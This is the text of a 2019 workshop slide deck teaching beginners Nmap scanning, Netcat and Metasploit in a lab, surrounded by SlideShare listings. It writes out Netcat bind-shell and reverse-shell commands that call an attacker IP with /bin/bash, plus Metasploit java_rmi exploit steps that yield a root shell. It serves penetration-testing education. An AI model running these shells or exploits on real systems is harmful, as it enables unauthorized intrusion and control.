SlideShare a Scribd company logo
1 of 31
Download to read offline
Network Penetration
Testing Toolkit
NMAP, NETCAT, AND METASPLOIT BASICS
February 22. 2019
DAY OF SHECURITY
2
Kelly Albrink
• Network pen testing, wireless security, and
hardware hacking
• Used to work as an Asian art dealer
• Loves 3D printing, science fiction, and
video games
@Justified_Salt
AND HOW DID I GET HERE?
whoami
Cecillia Tran
• External network pen testing & web
application pen testing
• Previously an Engagement Manager
• Loves food. Doesn’t love everything else.
@orionoriono
3
Today’s Toolkit:
• Nmap – port scanning, fingerprinting,
and NSE scripts
• Netcat – banner grabbing, bind shells,
reverse shells
• Metasploit – exploits, payloads, handlers,
and database usage
TODAY’S BATTLE PLAN
Agenda
Terminology & Basics
5
What is?
• a shell
• Bind shell
• Reverse shell
• Meterpreter shell
• A privileged vs non-privileged user
• Root
• Administrator
• SYSTEM
WHAT EXACTLY IS A SHELL?
Hacker Terminology
6
What is?
• An IP address
• Public vs private IPs
• A port
• A MAC address
• TCP protocol
• UDP protocol
NETWORKS HAVE LAYERS, LIKE AN OGRE
Network Basics
Nmap
Knock. Knock.
• What kind of info can nmap
tell us?:
• Open / closed / filtered ports
• MAC Address
• Fingerprinting : OS or software
version
• Misconfigurations & Vulnerabilities
• 65,535 possible ports
• Ports below 1024 are
“privileged ports”
nmap <scan type> <options> <ip>
PORTS ARE THE DOORS OF THE NETWORK
Port Scanning Basics
Scan types:
• -sT (Connect scan) : completes the 3
way handshake : default non-privileged
scan
• -sS (SYN scan) half-open scanning :
requires root privileges
• -sU : UDP scan
How does nmap find live hosts?
- SYN on port 80
- ACK on port 443
- ICMP echo
- ICMP timestamp
PORT SCANNING SWISS ARMY KNIFE
Have you met Nmap?
Additional Scan Types:
• -sV (version scan) : service/version info
• -sC (script scan) : default NSE scripts
• -O : Operating system detection
• -A (aggressive) : combines sV, sC, O,
and traceroute
• -Pn : skip the ICMP part of host
discovery
GETTING THE RESULTS YOU WANT
Nmap - Flags
Port scope:
• Default scan is top 1000 ports
• -p <port#> : scan one or more ports
• -p- : scan ports 1-65,535 (no port 0)
• --top-ports <#> : scan the most
common <#> of ports
GETTING THE RESULTS YOU WANT
Nmap - Flags 2
12
1) Start with a connect scan of the top 15 ports
nmap –sT --top-ports 15 <target_ip>
2) Now lets add a version scan too
nmap –sT –sV --top-ports 15 <target_ip>
3) Add a script scan and an OS fingerprint scan
nmap –sT –sV -sC –O --top-ports 15 <target_ip>
4) Finally combine these scans (plus traceroute) with an aggressive scan
nmap –A --top-ports 15 <target_ip>
LAB TIME!
Nmap - Exercise
• --open : show results of only open ports
• --max-retries <#>
• -T<0-5> : scan speed
• During the scan press d to turn up the
debugging level
• Press Shift+d to lower the debugging
level
MAKE YOUR TARGETS DRINK FROM THE FIREHOSE
Nmap – Fine Tuning
Input/Output files
• -iL <file> : list of targets to scan (1/line)
• -oN <file> : save in nmap format
• -oX <file> : save in xml format
• -oG <file> : save greppable format
• -oA <file> : save all 3 types
JUST KEEP SCANNING
Nmap – Saving your results
15
Let’s run a comprehensive scan against all ports AND save our work
nmap –sT -sV -sC -O -p- <target_ip> -oA MyFirstScan
Take a minute to look at each scan type with the “cat” command
cat MyFirstScan.nmap
cat MyFirstScan.xml
cat MyFirstScan.gnmap
LAB TIME!
Nmap - Exercise 2
Netcat
Let’s make a connection.
• What can we do with Netcat?
• Connect to any host on any port
• Grab banners (get software/versions)
• Send HTTP requests
• Make bind shells
• Make reverse shells
• What does that look like?
• nc <options> <target_ip> <port(s)>
WHAT IS NETCAT ANYWAYS?
Netcat - Intro
Most common options
• -n – Don’t do DNS lookup (for IPs)
• -l – Listen mode
• -p – port (local port on listen, target
port on default)
• -u - UDP mode
• -v - verbose mode
• -vv - super verbose mode
• -e - program to execute after
connection
SO MANY OPTIONS
Netcat - Flags
WHAT ARE YOU?
Netcat - Grabbing Banners
On your attacker machine
• Use netcat to connect to some open
ports on your target
nc -nvv <target_IP> <port>
Ports to try:
• 21 - ftp
• 22 - ssh
• 25 - smtp
• 3306 - mySQL
WHAT ARE YOU?
Netcat - Make an HTTP Request
On your attacker machine
• Use netcat to connect to port 80
nc -nvv <target_IP> 80
• Now you can manually enter an HTTP
request, followed by two line breaks
GET / HTTP 1.0
• And this is the result ------------------->>
SOMEONE LEFT A DOOR OPEN
Netcat - Bind Shells
On your target machine
• Use netcat to open a port with
/bin/bash attached to it.
nc -nvlp <port> -e /bin/bash
On your attacker machine
• connect to the port you just opened on
your target machine
nc -nv <target_ip> <port>
• Run a command
• ifconfig
• id
THIS SHELL PHONES HOME
Netcat - Reverse Shells
On your attacker machine
• Use netcat to open a port
nc -nvlp <port>
On your target machine
• connect to the port you just opened on your
kali machine
nc -nv <attacker_ip> <port> -e
/bin/bash
On your attacker machine run:
• ifconfig
• id
Metasploit
• Hacking framework written in ruby
• We’re going to cover how to:
• Use Nmap with the database
• Search for exploits
• Scanning modules
• Using exploits
• Meterpreter shells
IT’S RAINING SHELLS, HALLELUJAH!
What is Metasploit?
• To setup the Metasploit database (We
only need to do this step one time) run:
• msfdb init
• To start Metasploit run:
• msfconsole
• Every time you start Metasploit, you will
see a different banner. To cycle through
banners run:
• banner
GET READY TO HACK
Metasploit - Getting Started
ORGANIZE AND VIEW YOUR SCAN RESULTS
Metasploit and Nmap
The Metasploit database will store
information gathered on your targets.
• To upload nmap scans into Metasploit:
• db_import MyFirstScan.xml
• To see all imported targets run:
• hosts
• To see all of the open ports run:
• services -u
• You can search your results by protocol
(-s), a string (-S), a port (-p)
READY?
Metasploit - Finding Exploits
Useful Metasploit Verbs:
• help : show available
commands
• search : find exploits or other
modules
• use : select a module
Try it yourself:
Search java_rmi
Use java_rmi_server
SET YOUR PARAMETERS AND PULL THE TRIGGER
Metasploit - Using Exploits
• show options : get info about
the selected module
• Set <param> : set a parameter
• exploit/run : run a module
Run the following commands:
• set RHOST <targetIP>
• set target 2
• exploit
DO YOUR ROOT DANCE!
Metasploit - Exploit Results
We got a shell! I ran the id command which
shows that we are root!
• To background an active shell & return to
msfconsole menu :
• background
• To view your active shells:
• sessions
• To connect to a session:
• sessions -i <session#>
SHELLS MADE EASY
Metasploit - Meterpreter shells
• Meterpreter shells are stealthy because live
in memory.
• Useful Meterpreter commands:
• help : shows available commands
• shell : drops you into a traditional command shell
• getuid : show your user id
• Meterpreter shells can also run msf post
modules to gather information, gain
persistence, or pivot through the network
Thank you!

More Related Content

What's hot (20)

Nmap tutorial
Nmap tutorialNmap tutorial
Nmap tutorial
 
Understanding NMAP
Understanding NMAPUnderstanding NMAP
Understanding NMAP
 
NMAP by Shrikant Antre & Shobhit Gautam
NMAP by Shrikant Antre & Shobhit GautamNMAP by Shrikant Antre & Shobhit Gautam
NMAP by Shrikant Antre & Shobhit Gautam
 
Scanning with nmap
Scanning with nmapScanning with nmap
Scanning with nmap
 
NMap
NMapNMap
NMap
 
Nmap for Scriptors
Nmap for ScriptorsNmap for Scriptors
Nmap for Scriptors
 
Network Mapper (NMAP)
Network Mapper (NMAP)Network Mapper (NMAP)
Network Mapper (NMAP)
 
Nmap
NmapNmap
Nmap
 
Nmap commands
Nmap commandsNmap commands
Nmap commands
 
Nmap
NmapNmap
Nmap
 
Nmap not only a port scanner by ravi rajput comexpo security awareness meet
Nmap not only a port scanner by ravi rajput comexpo security awareness meet Nmap not only a port scanner by ravi rajput comexpo security awareness meet
Nmap not only a port scanner by ravi rajput comexpo security awareness meet
 
Nmap
NmapNmap
Nmap
 
Nmap(network mapping)
Nmap(network mapping)Nmap(network mapping)
Nmap(network mapping)
 
NMAP - The Network Scanner
NMAP - The Network ScannerNMAP - The Network Scanner
NMAP - The Network Scanner
 
Recon with Nmap
Recon with Nmap Recon with Nmap
Recon with Nmap
 
Wireless security beyond password cracking by Mohit Ranjan
Wireless security beyond password cracking by Mohit RanjanWireless security beyond password cracking by Mohit Ranjan
Wireless security beyond password cracking by Mohit Ranjan
 
Dynamic Port Scanning
Dynamic Port ScanningDynamic Port Scanning
Dynamic Port Scanning
 
Nmap Basics
Nmap BasicsNmap Basics
Nmap Basics
 
Netcat
NetcatNetcat
Netcat
 
Network scanning with nmap
Network scanning with nmapNetwork scanning with nmap
Network scanning with nmap
 

Similar to Network Penetration Testing Toolkit - Nmap, Netcat, and Metasploit Basics

DC612 Day - Hands on Penetration Testing 101
DC612 Day - Hands on Penetration Testing 101DC612 Day - Hands on Penetration Testing 101
DC612 Day - Hands on Penetration Testing 101dc612
 
Metasploit For Beginners
Metasploit For BeginnersMetasploit For Beginners
Metasploit For BeginnersRamnath Shenoy
 
Null Delhi chapter - Feb 2019
Null Delhi chapter - Feb 2019Null Delhi chapter - Feb 2019
Null Delhi chapter - Feb 2019Nikhil Raj
 
NMap 101 offline meetup by CyberForge Academy
NMap 101 offline meetup by CyberForge AcademyNMap 101 offline meetup by CyberForge Academy
NMap 101 offline meetup by CyberForge Academycyberforgeacademy
 
Ceh v8 labs module 04 enumeration
Ceh v8 labs module 04 enumerationCeh v8 labs module 04 enumeration
Ceh v8 labs module 04 enumerationAsep Sopyan
 
Metasploit: Pwnage and Ponies
Metasploit: Pwnage and PoniesMetasploit: Pwnage and Ponies
Metasploit: Pwnage and PoniesTrowalts
 
Network Scanning Phases and Supporting Tools
Network Scanning Phases and Supporting ToolsNetwork Scanning Phases and Supporting Tools
Network Scanning Phases and Supporting ToolsJoseph Bugeja
 
You didnt see it’s coming? "Dawn of hardened Windows Kernel"
You didnt see it’s coming? "Dawn of hardened Windows Kernel" You didnt see it’s coming? "Dawn of hardened Windows Kernel"
You didnt see it’s coming? "Dawn of hardened Windows Kernel" Peter Hlavaty
 
The Dirty Little Secrets They Didn’t Teach You In Pentesting Class
The Dirty Little Secrets They Didn’t Teach You In Pentesting Class The Dirty Little Secrets They Didn’t Teach You In Pentesting Class
The Dirty Little Secrets They Didn’t Teach You In Pentesting Class Chris Gates
 
Network Penetration Testing
Network Penetration TestingNetwork Penetration Testing
Network Penetration TestingMohammed Adam
 
Open Source Cyber Weaponry
Open Source Cyber WeaponryOpen Source Cyber Weaponry
Open Source Cyber WeaponryJoshua L. Davis
 
BSides_Charm2015_Info sec hunters_gathers
BSides_Charm2015_Info sec hunters_gathersBSides_Charm2015_Info sec hunters_gathers
BSides_Charm2015_Info sec hunters_gathersAndrew McNicol
 
The basics of hacking and penetration testing 이제 시작이야 해킹과 침투 테스트 kenneth.s.kwon
The basics of hacking and penetration testing 이제 시작이야 해킹과 침투 테스트 kenneth.s.kwonThe basics of hacking and penetration testing 이제 시작이야 해킹과 침투 테스트 kenneth.s.kwon
The basics of hacking and penetration testing 이제 시작이야 해킹과 침투 테스트 kenneth.s.kwonKenneth Kwon
 
Nmap project presentation : Unlocking Network Secrets: Mastering Port Scannin...
Nmap project presentation : Unlocking Network Secrets: Mastering Port Scannin...Nmap project presentation : Unlocking Network Secrets: Mastering Port Scannin...
Nmap project presentation : Unlocking Network Secrets: Mastering Port Scannin...Boston Institute of Analytics
 
Nmap basics-1198948509608024-3
Nmap basics-1198948509608024-3Nmap basics-1198948509608024-3
Nmap basics-1198948509608024-3Harsh Desai
 
Hacker Halted 2014 - RDP Fuzzing And Why the Microsoft Open Protocol Specific...
Hacker Halted 2014 - RDP Fuzzing And Why the Microsoft Open Protocol Specific...Hacker Halted 2014 - RDP Fuzzing And Why the Microsoft Open Protocol Specific...
Hacker Halted 2014 - RDP Fuzzing And Why the Microsoft Open Protocol Specific...EC-Council
 

Similar to Network Penetration Testing Toolkit - Nmap, Netcat, and Metasploit Basics (20)

DC612 Day - Hands on Penetration Testing 101
DC612 Day - Hands on Penetration Testing 101DC612 Day - Hands on Penetration Testing 101
DC612 Day - Hands on Penetration Testing 101
 
Metasploit For Beginners
Metasploit For BeginnersMetasploit For Beginners
Metasploit For Beginners
 
Null Delhi chapter - Feb 2019
Null Delhi chapter - Feb 2019Null Delhi chapter - Feb 2019
Null Delhi chapter - Feb 2019
 
NMap 101 offline meetup by CyberForge Academy
NMap 101 offline meetup by CyberForge AcademyNMap 101 offline meetup by CyberForge Academy
NMap 101 offline meetup by CyberForge Academy
 
Ceh v8 labs module 04 enumeration
Ceh v8 labs module 04 enumerationCeh v8 labs module 04 enumeration
Ceh v8 labs module 04 enumeration
 
Penetration Testing Boot CAMP
Penetration Testing Boot CAMPPenetration Testing Boot CAMP
Penetration Testing Boot CAMP
 
Metasploit: Pwnage and Ponies
Metasploit: Pwnage and PoniesMetasploit: Pwnage and Ponies
Metasploit: Pwnage and Ponies
 
Network Scanning Phases and Supporting Tools
Network Scanning Phases and Supporting ToolsNetwork Scanning Phases and Supporting Tools
Network Scanning Phases and Supporting Tools
 
You didnt see it’s coming? "Dawn of hardened Windows Kernel"
You didnt see it’s coming? "Dawn of hardened Windows Kernel" You didnt see it’s coming? "Dawn of hardened Windows Kernel"
You didnt see it’s coming? "Dawn of hardened Windows Kernel"
 
The Dirty Little Secrets They Didn’t Teach You In Pentesting Class
The Dirty Little Secrets They Didn’t Teach You In Pentesting Class The Dirty Little Secrets They Didn’t Teach You In Pentesting Class
The Dirty Little Secrets They Didn’t Teach You In Pentesting Class
 
Network Penetration Testing
Network Penetration TestingNetwork Penetration Testing
Network Penetration Testing
 
Open Source Cyber Weaponry
Open Source Cyber WeaponryOpen Source Cyber Weaponry
Open Source Cyber Weaponry
 
BSides_Charm2015_Info sec hunters_gathers
BSides_Charm2015_Info sec hunters_gathersBSides_Charm2015_Info sec hunters_gathers
BSides_Charm2015_Info sec hunters_gathers
 
The basics of hacking and penetration testing 이제 시작이야 해킹과 침투 테스트 kenneth.s.kwon
The basics of hacking and penetration testing 이제 시작이야 해킹과 침투 테스트 kenneth.s.kwonThe basics of hacking and penetration testing 이제 시작이야 해킹과 침투 테스트 kenneth.s.kwon
The basics of hacking and penetration testing 이제 시작이야 해킹과 침투 테스트 kenneth.s.kwon
 
The Art of Grey-Box Attack
The Art of Grey-Box AttackThe Art of Grey-Box Attack
The Art of Grey-Box Attack
 
Nmap project presentation : Unlocking Network Secrets: Mastering Port Scannin...
Nmap project presentation : Unlocking Network Secrets: Mastering Port Scannin...Nmap project presentation : Unlocking Network Secrets: Mastering Port Scannin...
Nmap project presentation : Unlocking Network Secrets: Mastering Port Scannin...
 
Nmap basics-1198948509608024-3
Nmap basics-1198948509608024-3Nmap basics-1198948509608024-3
Nmap basics-1198948509608024-3
 
Nmap
NmapNmap
Nmap
 
G3t R00t at IUT
G3t R00t at IUTG3t R00t at IUT
G3t R00t at IUT
 
Hacker Halted 2014 - RDP Fuzzing And Why the Microsoft Open Protocol Specific...
Hacker Halted 2014 - RDP Fuzzing And Why the Microsoft Open Protocol Specific...Hacker Halted 2014 - RDP Fuzzing And Why the Microsoft Open Protocol Specific...
Hacker Halted 2014 - RDP Fuzzing And Why the Microsoft Open Protocol Specific...
 

More from Bishop Fox

OWASP LA – SharePoint Hacking – 22Feb2012 – Slides.PDF
OWASP LA – SharePoint Hacking – 22Feb2012 – Slides.PDFOWASP LA – SharePoint Hacking – 22Feb2012 – Slides.PDF
OWASP LA – SharePoint Hacking – 22Feb2012 – Slides.PDFBishop Fox
 
InfoSec World 2016 – RFIDiggity – Pentester Guide to Hacking HF/NFC and UHF...
	 InfoSec World 2016 – RFIDiggity – Pentester Guide to Hacking HF/NFC and UHF...	 InfoSec World 2016 – RFIDiggity – Pentester Guide to Hacking HF/NFC and UHF...
InfoSec World 2016 – RFIDiggity – Pentester Guide to Hacking HF/NFC and UHF...Bishop Fox
 
InfoSec World 2013 – W4 – Using Google to Find Vulnerabilities in Your IT Env...
InfoSec World 2013 – W4 – Using Google to Find Vulnerabilities in Your IT Env...InfoSec World 2013 – W4 – Using Google to Find Vulnerabilities in Your IT Env...
InfoSec World 2013 – W4 – Using Google to Find Vulnerabilities in Your IT Env...Bishop Fox
 
DEFCON 20 (2012) – Tenacious Diggity – 29July2012 – Slides.PDF
DEFCON 20 (2012) – Tenacious Diggity – 29July2012 – Slides.PDFDEFCON 20 (2012) – Tenacious Diggity – 29July2012 – Slides.PDF
DEFCON 20 (2012) – Tenacious Diggity – 29July2012 – Slides.PDFBishop Fox
 
SpellCheckV2 Rules
SpellCheckV2 RulesSpellCheckV2 Rules
SpellCheckV2 RulesBishop Fox
 
Smarter Home Invasion With ZigDiggity
Smarter Home Invasion With ZigDiggitySmarter Home Invasion With ZigDiggity
Smarter Home Invasion With ZigDiggityBishop Fox
 
Hacking Exposed EBS Volumes
Hacking Exposed EBS Volumes Hacking Exposed EBS Volumes
Hacking Exposed EBS Volumes Bishop Fox
 
Ghost in the Browser: Broad-Scale Espionage with Bitsquatting
 Ghost in the Browser: Broad-Scale Espionage with Bitsquatting Ghost in the Browser: Broad-Scale Espionage with Bitsquatting
Ghost in the Browser: Broad-Scale Espionage with BitsquattingBishop Fox
 
Ferris Bueller’s Guide to Abuse Domain Permutations
Ferris Bueller’s Guide to Abuse Domain PermutationsFerris Bueller’s Guide to Abuse Domain Permutations
Ferris Bueller’s Guide to Abuse Domain PermutationsBishop Fox
 
Check Your Privilege (Escalation)
Check Your Privilege (Escalation) Check Your Privilege (Escalation)
Check Your Privilege (Escalation) Bishop Fox
 
Introduction to Linux Privilege Escalation Methods
Introduction to Linux Privilege Escalation MethodsIntroduction to Linux Privilege Escalation Methods
Introduction to Linux Privilege Escalation MethodsBishop Fox
 
How Perceptual Analysis Helps Bug Hunters
How Perceptual Analysis Helps Bug HuntersHow Perceptual Analysis Helps Bug Hunters
How Perceptual Analysis Helps Bug HuntersBishop Fox
 
Getting Buzzed on Buzzwords: Using Cloud & Big Data to Pentest at Scale
Getting Buzzed on Buzzwords: Using Cloud & Big Data to Pentest at ScaleGetting Buzzed on Buzzwords: Using Cloud & Big Data to Pentest at Scale
Getting Buzzed on Buzzwords: Using Cloud & Big Data to Pentest at ScaleBishop Fox
 
Evolving Cyber Adversary Simulation: How Red Teaming Benefits Organizations
Evolving Cyber Adversary Simulation: How Red Teaming Benefits OrganizationsEvolving Cyber Adversary Simulation: How Red Teaming Benefits Organizations
Evolving Cyber Adversary Simulation: How Red Teaming Benefits OrganizationsBishop Fox
 
ASU Cybersecurity Symposium - Breaking Into a Career of Breaking In
ASU Cybersecurity Symposium - Breaking Into a Career of Breaking In ASU Cybersecurity Symposium - Breaking Into a Career of Breaking In
ASU Cybersecurity Symposium - Breaking Into a Career of Breaking In Bishop Fox
 
CactusCon 2018 - Anatomy of an AppSec Program
CactusCon 2018 - Anatomy of an AppSec Program CactusCon 2018 - Anatomy of an AppSec Program
CactusCon 2018 - Anatomy of an AppSec Program Bishop Fox
 
Preparing a Next Generation IT Strategy
Preparing a Next Generation IT StrategyPreparing a Next Generation IT Strategy
Preparing a Next Generation IT StrategyBishop Fox
 
Lord of the Bing: Taking Back Search Engine Hacking From Google and Bing
Lord of the Bing: Taking Back Search Engine Hacking From Google and BingLord of the Bing: Taking Back Search Engine Hacking From Google and Bing
Lord of the Bing: Taking Back Search Engine Hacking From Google and BingBishop Fox
 
Pulp Google Hacking
Pulp Google HackingPulp Google Hacking
Pulp Google HackingBishop Fox
 
Black Hat USA - CloudBots Harvesting Crypto Coins Like a Botnet Farmer
Black Hat USA - CloudBots Harvesting Crypto Coins Like a Botnet FarmerBlack Hat USA - CloudBots Harvesting Crypto Coins Like a Botnet Farmer
Black Hat USA - CloudBots Harvesting Crypto Coins Like a Botnet FarmerBishop Fox
 

More from Bishop Fox (20)

OWASP LA – SharePoint Hacking – 22Feb2012 – Slides.PDF
OWASP LA – SharePoint Hacking – 22Feb2012 – Slides.PDFOWASP LA – SharePoint Hacking – 22Feb2012 – Slides.PDF
OWASP LA – SharePoint Hacking – 22Feb2012 – Slides.PDF
 
InfoSec World 2016 – RFIDiggity – Pentester Guide to Hacking HF/NFC and UHF...
	 InfoSec World 2016 – RFIDiggity – Pentester Guide to Hacking HF/NFC and UHF...	 InfoSec World 2016 – RFIDiggity – Pentester Guide to Hacking HF/NFC and UHF...
InfoSec World 2016 – RFIDiggity – Pentester Guide to Hacking HF/NFC and UHF...
 
InfoSec World 2013 – W4 – Using Google to Find Vulnerabilities in Your IT Env...
InfoSec World 2013 – W4 – Using Google to Find Vulnerabilities in Your IT Env...InfoSec World 2013 – W4 – Using Google to Find Vulnerabilities in Your IT Env...
InfoSec World 2013 – W4 – Using Google to Find Vulnerabilities in Your IT Env...
 
DEFCON 20 (2012) – Tenacious Diggity – 29July2012 – Slides.PDF
DEFCON 20 (2012) – Tenacious Diggity – 29July2012 – Slides.PDFDEFCON 20 (2012) – Tenacious Diggity – 29July2012 – Slides.PDF
DEFCON 20 (2012) – Tenacious Diggity – 29July2012 – Slides.PDF
 
SpellCheckV2 Rules
SpellCheckV2 RulesSpellCheckV2 Rules
SpellCheckV2 Rules
 
Smarter Home Invasion With ZigDiggity
Smarter Home Invasion With ZigDiggitySmarter Home Invasion With ZigDiggity
Smarter Home Invasion With ZigDiggity
 
Hacking Exposed EBS Volumes
Hacking Exposed EBS Volumes Hacking Exposed EBS Volumes
Hacking Exposed EBS Volumes
 
Ghost in the Browser: Broad-Scale Espionage with Bitsquatting
 Ghost in the Browser: Broad-Scale Espionage with Bitsquatting Ghost in the Browser: Broad-Scale Espionage with Bitsquatting
Ghost in the Browser: Broad-Scale Espionage with Bitsquatting
 
Ferris Bueller’s Guide to Abuse Domain Permutations
Ferris Bueller’s Guide to Abuse Domain PermutationsFerris Bueller’s Guide to Abuse Domain Permutations
Ferris Bueller’s Guide to Abuse Domain Permutations
 
Check Your Privilege (Escalation)
Check Your Privilege (Escalation) Check Your Privilege (Escalation)
Check Your Privilege (Escalation)
 
Introduction to Linux Privilege Escalation Methods
Introduction to Linux Privilege Escalation MethodsIntroduction to Linux Privilege Escalation Methods
Introduction to Linux Privilege Escalation Methods
 
How Perceptual Analysis Helps Bug Hunters
How Perceptual Analysis Helps Bug HuntersHow Perceptual Analysis Helps Bug Hunters
How Perceptual Analysis Helps Bug Hunters
 
Getting Buzzed on Buzzwords: Using Cloud & Big Data to Pentest at Scale
Getting Buzzed on Buzzwords: Using Cloud & Big Data to Pentest at ScaleGetting Buzzed on Buzzwords: Using Cloud & Big Data to Pentest at Scale
Getting Buzzed on Buzzwords: Using Cloud & Big Data to Pentest at Scale
 
Evolving Cyber Adversary Simulation: How Red Teaming Benefits Organizations
Evolving Cyber Adversary Simulation: How Red Teaming Benefits OrganizationsEvolving Cyber Adversary Simulation: How Red Teaming Benefits Organizations
Evolving Cyber Adversary Simulation: How Red Teaming Benefits Organizations
 
ASU Cybersecurity Symposium - Breaking Into a Career of Breaking In
ASU Cybersecurity Symposium - Breaking Into a Career of Breaking In ASU Cybersecurity Symposium - Breaking Into a Career of Breaking In
ASU Cybersecurity Symposium - Breaking Into a Career of Breaking In
 
CactusCon 2018 - Anatomy of an AppSec Program
CactusCon 2018 - Anatomy of an AppSec Program CactusCon 2018 - Anatomy of an AppSec Program
CactusCon 2018 - Anatomy of an AppSec Program
 
Preparing a Next Generation IT Strategy
Preparing a Next Generation IT StrategyPreparing a Next Generation IT Strategy
Preparing a Next Generation IT Strategy
 
Lord of the Bing: Taking Back Search Engine Hacking From Google and Bing
Lord of the Bing: Taking Back Search Engine Hacking From Google and BingLord of the Bing: Taking Back Search Engine Hacking From Google and Bing
Lord of the Bing: Taking Back Search Engine Hacking From Google and Bing
 
Pulp Google Hacking
Pulp Google HackingPulp Google Hacking
Pulp Google Hacking
 
Black Hat USA - CloudBots Harvesting Crypto Coins Like a Botnet Farmer
Black Hat USA - CloudBots Harvesting Crypto Coins Like a Botnet FarmerBlack Hat USA - CloudBots Harvesting Crypto Coins Like a Botnet Farmer
Black Hat USA - CloudBots Harvesting Crypto Coins Like a Botnet Farmer
 

Recently uploaded

Unveiling the Tech Salsa of LAMs with Janus in Real-Time Applications
Unveiling the Tech Salsa of LAMs with Janus in Real-Time ApplicationsUnveiling the Tech Salsa of LAMs with Janus in Real-Time Applications
Unveiling the Tech Salsa of LAMs with Janus in Real-Time ApplicationsAlberto González Trastoy
 
Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...
Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...
Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...kellynguyen01
 
Engage Usergroup 2024 - The Good The Bad_The Ugly
Engage Usergroup 2024 - The Good The Bad_The UglyEngage Usergroup 2024 - The Good The Bad_The Ugly
Engage Usergroup 2024 - The Good The Bad_The UglyFrank van der Linden
 
XpertSolvers: Your Partner in Building Innovative Software Solutions
XpertSolvers: Your Partner in Building Innovative Software SolutionsXpertSolvers: Your Partner in Building Innovative Software Solutions
XpertSolvers: Your Partner in Building Innovative Software SolutionsMehedi Hasan Shohan
 
The Essentials of Digital Experience Monitoring_ A Comprehensive Guide.pdf
The Essentials of Digital Experience Monitoring_ A Comprehensive Guide.pdfThe Essentials of Digital Experience Monitoring_ A Comprehensive Guide.pdf
The Essentials of Digital Experience Monitoring_ A Comprehensive Guide.pdfkalichargn70th171
 
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...MyIntelliSource, Inc.
 
The Evolution of Karaoke From Analog to App.pdf
The Evolution of Karaoke From Analog to App.pdfThe Evolution of Karaoke From Analog to App.pdf
The Evolution of Karaoke From Analog to App.pdfPower Karaoke
 
Asset Management Software - Infographic
Asset Management Software - InfographicAsset Management Software - Infographic
Asset Management Software - InfographicHr365.us smith
 
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...ICS
 
EY_Graph Database Powered Sustainability
EY_Graph Database Powered SustainabilityEY_Graph Database Powered Sustainability
EY_Graph Database Powered SustainabilityNeo4j
 
5 Signs You Need a Fashion PLM Software.pdf
5 Signs You Need a Fashion PLM Software.pdf5 Signs You Need a Fashion PLM Software.pdf
5 Signs You Need a Fashion PLM Software.pdfWave PLM
 
Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...
Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...
Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...stazi3110
 
Russian Call Girls in Karol Bagh Aasnvi ➡️ 8264348440 💋📞 Independent Escort S...
Russian Call Girls in Karol Bagh Aasnvi ➡️ 8264348440 💋📞 Independent Escort S...Russian Call Girls in Karol Bagh Aasnvi ➡️ 8264348440 💋📞 Independent Escort S...
Russian Call Girls in Karol Bagh Aasnvi ➡️ 8264348440 💋📞 Independent Escort S...soniya singh
 
Unit 1.1 Excite Part 1, class 9, cbse...
Unit 1.1 Excite Part 1, class 9, cbse...Unit 1.1 Excite Part 1, class 9, cbse...
Unit 1.1 Excite Part 1, class 9, cbse...aditisharan08
 
Steps To Getting Up And Running Quickly With MyTimeClock Employee Scheduling ...
Steps To Getting Up And Running Quickly With MyTimeClock Employee Scheduling ...Steps To Getting Up And Running Quickly With MyTimeClock Employee Scheduling ...
Steps To Getting Up And Running Quickly With MyTimeClock Employee Scheduling ...MyIntelliSource, Inc.
 
DNT_Corporate presentation know about us
DNT_Corporate presentation know about usDNT_Corporate presentation know about us
DNT_Corporate presentation know about usDynamic Netsoft
 
ODSC - Batch to Stream workshop - integration of Apache Spark, Cassandra, Pos...
ODSC - Batch to Stream workshop - integration of Apache Spark, Cassandra, Pos...ODSC - Batch to Stream workshop - integration of Apache Spark, Cassandra, Pos...
ODSC - Batch to Stream workshop - integration of Apache Spark, Cassandra, Pos...Christina Lin
 
BATTLEFIELD ORM: TIPS, TACTICS AND STRATEGIES FOR CONQUERING YOUR DATABASE
BATTLEFIELD ORM: TIPS, TACTICS AND STRATEGIES FOR CONQUERING YOUR DATABASEBATTLEFIELD ORM: TIPS, TACTICS AND STRATEGIES FOR CONQUERING YOUR DATABASE
BATTLEFIELD ORM: TIPS, TACTICS AND STRATEGIES FOR CONQUERING YOUR DATABASEOrtus Solutions, Corp
 
Salesforce Certified Field Service Consultant
Salesforce Certified Field Service ConsultantSalesforce Certified Field Service Consultant
Salesforce Certified Field Service ConsultantAxelRicardoTrocheRiq
 
Cloud Management Software Platforms: OpenStack
Cloud Management Software Platforms: OpenStackCloud Management Software Platforms: OpenStack
Cloud Management Software Platforms: OpenStackVICTOR MAESTRE RAMIREZ
 

Recently uploaded (20)

Unveiling the Tech Salsa of LAMs with Janus in Real-Time Applications
Unveiling the Tech Salsa of LAMs with Janus in Real-Time ApplicationsUnveiling the Tech Salsa of LAMs with Janus in Real-Time Applications
Unveiling the Tech Salsa of LAMs with Janus in Real-Time Applications
 
Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...
Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...
Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...
 
Engage Usergroup 2024 - The Good The Bad_The Ugly
Engage Usergroup 2024 - The Good The Bad_The UglyEngage Usergroup 2024 - The Good The Bad_The Ugly
Engage Usergroup 2024 - The Good The Bad_The Ugly
 
XpertSolvers: Your Partner in Building Innovative Software Solutions
XpertSolvers: Your Partner in Building Innovative Software SolutionsXpertSolvers: Your Partner in Building Innovative Software Solutions
XpertSolvers: Your Partner in Building Innovative Software Solutions
 
